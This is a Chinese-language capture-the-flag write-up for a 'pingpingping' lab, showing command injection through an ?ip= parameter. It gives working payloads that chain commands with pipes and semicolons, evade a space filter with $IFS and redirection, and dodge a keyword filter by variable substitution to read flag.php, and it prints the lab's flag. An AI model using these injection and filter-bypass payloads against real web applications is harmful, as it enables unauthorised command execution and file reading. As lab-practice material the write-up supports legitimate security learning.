打開靶場一看,/?ip=
而題目的題目pingpingping 於是就在url地址后面拼 /?ip=127.0.0.1
結果發現ping通了
那我們是不是可以用管道符查看下目錄呢?於是試一下吧 /?ip=127.0.0.1|ls 出現兩個 flag.php和index.php
這道題這么簡單的嗎?於是我們/?ip=127.0.0.1|cat flag.php
以為可以出現我們想要的flag,結果出現了這個界面,
原來這個沒這么簡單,這段英語屬實不知道啥意思,過濾了空格的意思嗎?
過濾空格的解決方法
$IFS$1 //$1改成$加其他數字都行,都能當作空格來用
?ip=127.0.0.1|cat$IFS$1flag.php
結果flag也需要繞過,那我們就先看看index文件吧
結果發現了過濾規則
看着過濾了好多字符,但是在最后我們看到了a變量,那我們是不是可以將a的值覆蓋,然后進行繞過呢?
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
然后我們在源碼中發現了flag
flag{53ec7aaa-24df-4624-819b-dc03dfa8c9fa}
盤點一下學到的知識點吧
$IFS是bash中的內部域分隔符,可以代替空格。后面的$9數字是可以隨意的,
每個數字都有特殊含義,但是和前面的搭配都可以表示空格;
還有一些可以解決空格的問題:
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
這些是linux下巧妙越過空格的方法
windows下繞過空格的方法,實用性不強,就type這個命令可以用
type.\flag.txt
type,flag.txt
借鑒各個大佬的,然后通過一些知識點查知識點,有侵權聯系我。